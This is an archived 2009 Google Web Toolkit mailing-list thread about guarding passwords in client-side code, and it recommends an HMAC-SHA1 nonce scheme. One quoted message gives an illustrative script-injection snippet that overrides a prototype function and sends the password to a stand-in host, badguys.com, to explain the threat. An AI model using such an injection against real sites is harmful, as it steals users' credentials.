This is a solved issue, there's many approaches. SSL is the easiest but not always needed, or possible (adds latency and scaling problems).
We use HmacSHA1 client side with GWT, and find it works well for our needs. HmacSHA1 is simple enough to implement once you get SHA1 working. There's tons of examples out there. I took one that was relatively simple Java sample and adjusted it work with GWT. It goes something like this: 1. Server sends random token to client (called a NONCE or "Number used once") 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the resulting signature and the timestamp used back to the server. 3. The server performs the same operation and confirms it's computed signature matches the one returned by the client and that the timestamp is within an acceptable time range. If these conditions are met, the client has proven it has the correct password. You can protect against replay by only allowing a token to be used once from the same IP address it was sent to. You can extend this easily to do more: If you do this on every request, and include the URL, query parameters and key headers in the signature you can secure various web service calls. If you compute the MD5 or SHA1 of the body, and include that in the Hmac signature as well, then you've got a message integrity check on the whole request. If you need to prevent others from seeing the data of the requests at all, then SSL is your only real option. On May 19, 8:10 pm, Vitali Lovich <[email protected]> wrote: > First off, good luck trying to disassemble the GWT compiled code - it's hard > to read even when you know what the original Java code is doing. > > Nextly, I don't think I understand the problem you are presenting - it seems > to me that if you have a script-injection exploit in your code, there is no > way you can code it to protect the user, since the attacking code can always > modify the original code in whatever way is necessary to send the password > to the attacker. So whether or not you implement the algorithm in > Javascript or not is irrelevant. An algorithm is a step-by-step process, > independent of the language used to express it. Security is a property of > the algorithm/protocol, not the language. > > Exactly how do you "block" the get & set functions? Also, it's not like > those functions are standard, so I'm guessing their your equivalent to the > more common foo & bar. > > On Tue, May 19, 2009 at 6:48 PM, Alyxandor < > > [email protected]> wrote: > > > You can't attack the post-RSA password field, but if there's any point > > along the way that the password is passed inside javascript, it might > > be possible for a script-injection attacker to overwrite your > > functions / add getter functions to prototypes and post your password > > using something like rsa.prototype.set()=function(pass){addHack > > ( '<script > > src="badguys.com?x='+pass+'/<http://badguys.com?x=%27+pass+%27/>>');...} > > Or such. Of course, > > you sound like a smart guy who would already override such functions > > to prevent an attack, but not everybody thinks to manually block get() > > and set(), so having plain-script authentication would let badguys.com > > know if it's worth trying or not... --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "Google Web Toolkit" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~----------~----~----~----~------~----~------~--~---
